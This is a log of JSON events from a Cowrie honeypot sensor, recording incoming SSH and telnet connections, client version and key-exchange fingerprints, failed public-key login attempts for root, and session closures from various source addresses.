{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:fd:13:4a:36:a6:2b:85:3f:20:91:f4:33:85:84:02","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGxrdmy3kcSXkLhxYrGeW39XN9de+MJ37tsOt+/D+K2b","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:57.097104Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:19:de:67:8e:f7:f5:86:ab:06:ae:a2:af:cc:28:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7HjeEUa0IHdV+MhZr9sSfIqhZhcxSj88lx8MIJUAKTY5IrB0Nx++f4CDq6dS+yHzquNWUDKWnL432t4YOtJOzY9hC4ZMIQMdZYqJv5slRpPxwTicaVu+ypIo3bPD7N55igA8gxvu/RkDDvL9ZC8cF2UhL2CJ+awYONpvHtdjPvMo7b/pYZ6pgli1luWz30ps/FRwTRtCi+TMGVgUr45qnoS592MdeAH8C2CPEOiBWXC7Z6tGmn/zX14CLrJtLNgiKOseZQWDCug51ufkRkrNoj3zEyxKCbCA7UTNiOqIO60NXC6a5fDiSnVRdSj5g/Jj8WX7PIXIvyidTrchVdc5D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:19:de:67:8e:f7:f5:86:ab:06:ae:a2:af:cc:28:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:57.316382Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:19:de:67:8e:f7:f5:86:ab:06:ae:a2:af:cc:28:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7HjeEUa0IHdV+MhZr9sSfIqhZhcxSj88lx8MIJUAKTY5IrB0Nx++f4CDq6dS+yHzquNWUDKWnL432t4YOtJOzY9hC4ZMIQMdZYqJv5slRpPxwTicaVu+ypIo3bPD7N55igA8gxvu/RkDDvL9ZC8cF2UhL2CJ+awYONpvHtdjPvMo7b/pYZ6pgli1luWz30ps/FRwTRtCi+TMGVgUr45qnoS592MdeAH8C2CPEOiBWXC7Z6tGmn/zX14CLrJtLNgiKOseZQWDCug51ufkRkrNoj3zEyxKCbCA7UTNiOqIO60NXC6a5fDiSnVRdSj5g/Jj8WX7PIXIvyidTrchVdc5D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:57.322224Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:57.541840Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.994121789932251,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:49:08.833523Z","src_ip":"186.195.243.107","session":"50f3565c4d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01284790039062,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:49:20.146511Z","src_ip":"38.41.2.225","session":"f2b7adbc02f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":35310,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cd21a6cc58","protocol":"telnet","message":"New connection: 38.41.2.225:35310 (10.17.0.5:23) [session: f3cd21a6cc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:49:24.549229Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.160.220.149","src_port":21368,"dst_ip":"10.17.0.5","dst_port":22,"session":"e29140cf1c70","protocol":"ssh","message":"New connection: 195.160.220.149:21368 (10.17.0.5:22) [session: e29140cf1c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:51.845625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:51.850863Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:51.935172Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:c8:5c:bd:a4:1c:71:8d:0f:02:0d:19:f9:ec:b8:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsaTG9lCyK3HUSFsb7VtAuE1pKXRzNSJM43nYbWvEUPcLofHNJa2qtlgajnKgNE1HRVHqPRTJzggFQx0LHRZR7jO9SB0aanZRnH434LFFru09htZKJY8prgd7O5+F+FlIKWbILyFaZSQPNW7dEzTfdoSMdWXqdYhZ/j4pkrh+S31WpNmqyPUPZdlMaCI5vlkcna91llmAV/HbZuleZRfAfwM8ta/ih+FYcmO4dARd3rBuoy4+DxJp9pnMYmaE6BEsvjuSYT6nkQV9Q3mbEswRRi3aEfl0QacVUMNVobRQYroAnsvoYRNSfXZCTzL8aqzVfqozjroPWxCC+KQEXx2GB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:c8:5c:bd:a4:1c:71:8d:0f:02:0d:19:f9:ec:b8:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.325265Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:c8:5c:bd:a4:1c:71:8d:0f:02:0d:19:f9:ec:b8:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsaTG9lCyK3HUSFsb7VtAuE1pKXRzNSJM43nYbWvEUPcLofHNJa2qtlgajnKgNE1HRVHqPRTJzggFQx0LHRZR7jO9SB0aanZRnH434LFFru09htZKJY8prgd7O5+F+FlIKWbILyFaZSQPNW7dEzTfdoSMdWXqdYhZ/j4pkrh+S31WpNmqyPUPZdlMaCI5vlkcna91llmAV/HbZuleZRfAfwM8ta/ih+FYcmO4dARd3rBuoy4+DxJp9pnMYmaE6BEsvjuSYT6nkQV9Q3mbEswRRi3aEfl0QacVUMNVobRQYroAnsvoYRNSfXZCTzL8aqzVfqozjroPWxCC+KQEXx2GB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.328252Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:fc:bf:8f:f6:4c:89:c8:4f:53:9f:30:e7:4f:a9:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMmJJnJDTKxwkqtrTAbYY/1U2rqg/zIhkbcDarkXf+iChXAq/PQ/qzV4HkOvZ/wjz79HUkI3F0wPGc4la/eWEdFD7tCpg7x21J+/Ah6hnU4pWYMu3HI5Ch9/MnHs+5p+dNA47CC9snEnitXOFBuzikqediCsFmZmFAtMwbA1qyR0Lv3czd+Uhl2nqJRxHVfMKcwU+eiS76AVkajTmJ2sD3+1XHZeeW/WebYNe6BR/NGwqlVFCAfyhGXaXIPr6AKWSVi2cPYRoVVlL2A3pjcqgI2ci9ENy10YEVtXIb3IupAWVZt0OxSXttxwGNE/uY1d9SEf6/vA3vpxigjph5YiUn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:fc:bf:8f:f6:4c:89:c8:4f:53:9f:30:e7:4f:a9:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.410315Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:fc:bf:8f:f6:4c:89:c8:4f:53:9f:30:e7:4f:a9:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMmJJnJDTKxwkqtrTAbYY/1U2rqg/zIhkbcDarkXf+iChXAq/PQ/qzV4HkOvZ/wjz79HUkI3F0wPGc4la/eWEdFD7tCpg7x21J+/Ah6hnU4pWYMu3HI5Ch9/MnHs+5p+dNA47CC9snEnitXOFBuzikqediCsFmZmFAtMwbA1qyR0Lv3czd+Uhl2nqJRxHVfMKcwU+eiS76AVkajTmJ2sD3+1XHZeeW/WebYNe6BR/NGwqlVFCAfyhGXaXIPr6AKWSVi2cPYRoVVlL2A3pjcqgI2ci9ENy10YEVtXIb3IupAWVZt0OxSXttxwGNE/uY1d9SEf6/vA3vpxigjph5YiUn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.414377Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:78:3c:ba:74:4c:60:65:b0:9e:1f:57:33:4e:57:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1oSpZTC++QGllu5Qalzv3ripLu3as09YcPBuVzd66KUQpdFP2DEbDK7piF8E5zqW9JEe4CnCdEKd2lP6guXafrkIR26WrsjLMzTl3fFg8qCvT6hu8lCWVjjVibiDep/cwhKobIlxfrk34e5JLsnx8vWyXPqNHTgg6KdfthsUF+OMtT75nV7h8snEYeAzeICtmOhp6fVCetiujdMAaB0QKKSr2ZRtk5zqm2JGr6rjImHfYgiOWpcLb+4ZI7a9Us6kWN61j8dmKTY8Cw7wxJ9bqjyxMnSzTcURPHVjvPE9LlgnrhopPRI46R+FBHzBc7D12BCg4qizKClEgu60lko85","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:78:3c:ba:74:4c:60:65:b0:9e:1f:57:33:4e:57:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.500022Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:78:3c:ba:74:4c:60:65:b0:9e:1f:57:33:4e:57:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1oSpZTC++QGllu5Qalzv3ripLu3as09YcPBuVzd66KUQpdFP2DEbDK7piF8E5zqW9JEe4CnCdEKd2lP6guXafrkIR26WrsjLMzTl3fFg8qCvT6hu8lCWVjjVibiDep/cwhKobIlxfrk34e5JLsnx8vWyXPqNHTgg6KdfthsUF+OMtT75nV7h8snEYeAzeICtmOhp6fVCetiujdMAaB0QKKSr2ZRtk5zqm2JGr6rjImHfYgiOWpcLb+4ZI7a9Us6kWN61j8dmKTY8Cw7wxJ9bqjyxMnSzTcURPHVjvPE9LlgnrhopPRI46R+FBHzBc7D12BCg4qizKClEgu60lko85","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.503831Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:1d:b0:62:d1:77:95:1e:34:4d:dc:e9:16:3f:56:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9/qZLKOeSfo8DwS33hIv4IeVwPRjPfC9t9z4Beb3akUcWu5hSGn2PrQpxQwXk6OwDJZ3K6Pbk443cBBK28H9h6Shw7B1HfstR3wmanvhQrjtVX970lBl/ZIWz2R0ajJmidhWy4vCyUV5T1HPMpbTI8fQz39xOVg1liTsbkKB4WUC7brHpaYgyYmKr1Qzm57ZcTsdmoek+iPszKmVXqtoqA6pTM9UoVgSYHrNq2kBBZLtMaWuzpy7IaPKZswPn6TGaaJiHVcP85W/KVE8QEJtVPHKBrACRPg9rB95u9DVatUU4qlcO2T9wBIBRtptlYeYOnVI1T5g5IR4660P+UXi1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:1d:b0:62:d1:77:95:1e:34:4d:dc:e9:16:3f:56:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.587235Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:1d:b0:62:d1:77:95:1e:34:4d:dc:e9:16:3f:56:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9/qZLKOeSfo8DwS33hIv4IeVwPRjPfC9t9z4Beb3akUcWu5hSGn2PrQpxQwXk6OwDJZ3K6Pbk443cBBK28H9h6Shw7B1HfstR3wmanvhQrjtVX970lBl/ZIWz2R0ajJmidhWy4vCyUV5T1HPMpbTI8fQz39xOVg1liTsbkKB4WUC7brHpaYgyYmKr1Qzm57ZcTsdmoek+iPszKmVXqtoqA6pTM9UoVgSYHrNq2kBBZLtMaWuzpy7IaPKZswPn6TGaaJiHVcP85W/KVE8QEJtVPHKBrACRPg9rB95u9DVatUU4qlcO2T9wBIBRtptlYeYOnVI1T5g5IR4660P+UXi1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.591288Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:3e:34:78:b4:f3:f5:77:a2:68:9b:1c:65:a2:f2:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKYRIMLBit4+YXG77aiRqOSIYIDzFPIxhSjyPpvEpT5tHFM0y7xavbsrLXzWMIy+229B6q2ETo5YzruCz8HNUObhKXLrfNEuJhhUFOzwfOAhxCTN88v83/qkKV+Be7RfV6cXiqijeI3+eUxNxsE1jUIuSk3jgy3IoUhAUSrMZuX63rdDpRkyVxa07az/j1OjylpKYIeAa18fnXD2r884kSUslM+iJEqTVnPa0wz5vfr2d0QzFLEnGstOVd5Mv1zjCt7sdHjhvCcMQ1fJ5WFuMDlrXIfIFsIwsdAhHD59fA/VPDRXd2iTMMN0ZWezR4DFfFK8dF+74w5oX0etZlF15","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:3e:34:78:b4:f3:f5:77:a2:68:9b:1c:65:a2:f2:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.675541Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:3e:34:78:b4:f3:f5:77:a2:68:9b:1c:65:a2:f2:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKYRIMLBit4+YXG77aiRqOSIYIDzFPIxhSjyPpvEpT5tHFM0y7xavbsrLXzWMIy+229B6q2ETo5YzruCz8HNUObhKXLrfNEuJhhUFOzwfOAhxCTN88v83/qkKV+Be7RfV6cXiqijeI3+eUxNxsE1jUIuSk3jgy3IoUhAUSrMZuX63rdDpRkyVxa07az/j1OjylpKYIeAa18fnXD2r884kSUslM+iJEqTVnPa0wz5vfr2d0QzFLEnGstOVd5Mv1zjCt7sdHjhvCcMQ1fJ5WFuMDlrXIfIFsIwsdAhHD59fA/VPDRXd2iTMMN0ZWezR4DFfFK8dF+74w5oX0etZlF15","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.679747Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:50:52.762801Z","src_ip":"195.160.220.149","session":"e29140cf1c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.156","src_port":6751,"dst_ip":"159.203.135.109","dst_port":22,"session":"355ae1d1fddc","protocol":"ssh","message":"New connection: 65.49.1.156:6751 (159.203.135.109:22) [session: 355ae1d1fddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:16.700396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:16.706372Z","src_ip":"65.49.1.156","session":"355ae1d1fddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:16.784736Z","src_ip":"65.49.1.156","session":"355ae1d1fddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:20.702420Z","src_ip":"65.49.1.156","session":"355ae1d1fddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00297737121582,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:24.552118Z","src_ip":"38.41.2.225","session":"f3cd21a6cc58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":45698,"dst_ip":"10.17.0.5","dst_port":23,"session":"91d289621255","protocol":"telnet","message":"New connection: 38.41.2.225:45698 (10.17.0.5:23) [session: 91d289621255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:26.524938Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":48308,"dst_ip":"10.17.0.5","dst_port":23,"session":"10e06a6ae3d3","protocol":"telnet","message":"New connection: 190.246.190.125:48308 (10.17.0.5:23) [session: 10e06a6ae3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:38.141249Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":48748,"dst_ip":"10.17.0.5","dst_port":23,"session":"d74730dc00d8","protocol":"telnet","message":"New connection: 190.246.190.125:48748 (10.17.0.5:23) [session: d74730dc00d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:43.854461Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.173.163.220","src_port":46016,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4f81949316a","protocol":"telnet","message":"New connection: 46.173.163.220:46016 (159.203.135.109:23) [session: b4f81949316a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:55.881303Z"}
{"eventid":"cowrie.session.closed","duration":3.3468148708343506,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:51:59.228012Z","src_ip":"46.173.163.220","session":"b4f81949316a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.173.163.220","src_port":46728,"dst_ip":"159.203.135.109","dst_port":23,"session":"59ae25caa85a","protocol":"telnet","message":"New connection: 46.173.163.220:46728 (159.203.135.109:23) [session: 59ae25caa85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:52:16.831326Z"}
{"eventid":"cowrie.session.closed","duration":3.471116781234741,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:52:20.302311Z","src_ip":"46.173.163.220","session":"59ae25caa85a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.173.163.220","src_port":47548,"dst_ip":"159.203.135.109","dst_port":23,"session":"141714ab871e","protocol":"telnet","message":"New connection: 46.173.163.220:47548 (159.203.135.109:23) [session: 141714ab871e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:52:40.912578Z"}
{"eventid":"cowrie.session.closed","duration":3.407238483428955,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:52:44.319643Z","src_ip":"46.173.163.220","session":"141714ab871e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.173.163.220","src_port":48314,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23153008ffa","protocol":"telnet","message":"New connection: 46.173.163.220:48314 (159.203.135.109:23) [session: d23153008ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:02.147155Z"}
{"eventid":"cowrie.session.closed","duration":3.111767530441284,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:05.258822Z","src_ip":"46.173.163.220","session":"d23153008ffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01110100746155,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:26.535956Z","src_ip":"38.41.2.225","session":"91d289621255","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48104,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cfc89aa65d9","protocol":"ssh","message":"New connection: 2.57.121.112:48104 (10.17.0.5:22) [session: 0cfc89aa65d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:27.738898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:53:27.743860Z","src_ip":"2.57.121.112","session":"0cfc89aa65d9","protocol":"ssh"}
